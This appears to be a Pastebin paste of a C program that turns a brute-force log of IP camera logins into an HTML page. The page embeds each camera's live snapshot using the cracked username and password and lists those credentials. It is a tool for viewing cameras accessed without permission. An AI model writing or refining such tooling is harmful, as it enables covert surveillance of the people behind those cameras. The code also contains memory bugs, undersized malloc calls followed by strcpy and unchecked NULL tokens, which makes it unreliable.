SHARE
TWEET
Export Ip Cam
a guest
Jul 13th, 2015
144
Never
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- int main ()
- {
- char c ;
- static const char filename[] = "bruteforce.log";
- static const char filename2[] = "export_ip.html";
- FILE *file = fopen ( filename, "r" );
- FILE *export_ip = fopen(filename2,"w+") ;
- int j = 1 ;
- if ( file != NULL )
- {
- fprintf(export_ip,"<html><head><title>Export IP Cam</title></head><body>") ;
- char line [ 200 ];
- while ( fgets(line, sizeof line, file) != NULL )
- {
- char * pch;
- char * url;
- char * params[2];
- int i = 0;
- pch = strtok (line,"-");
- url = malloc(sizeof(strlen(pch)));
- strcpy(url, pch);
- url[strlen(url)-1]='\0' ;
- printf("%s\n", url);
- while (pch != NULL)
- {
- pch = strtok (NULL, " :");
- params[i] = malloc(sizeof(strlen(pch)));
- if(pch != NULL)
- {
- strcpy(params[i], pch);
- printf("param[%d]:%s\n", i, params[i]);
- }
- i++;
- }
- if (export_ip != NULL)
- {
- fprintf(export_ip,"<div style='border:1px solid#ccc;padding:8px;margin-bottom:8px;'><img style='width:320px;'src='%ssnapshot.cgi?user=%s&pwd=%s'/>", url, params[0], params[1]) ;
- fprintf(export_ip,"<b>Source (%d):</b> %s, %s:%s</div>\n", j, url, params[0], params[1]) ;
- j++ ;
- }
- else
- {
- perror( filename2 );
- }
- }
- fprintf(export_ip,"</body></html>");
- fclose(export_ip) ;
- fclose( file );
- }
- else
- {
- perror( filename );
- }
- c = getchar() ;
- return 0;
- }
RAW Paste Data
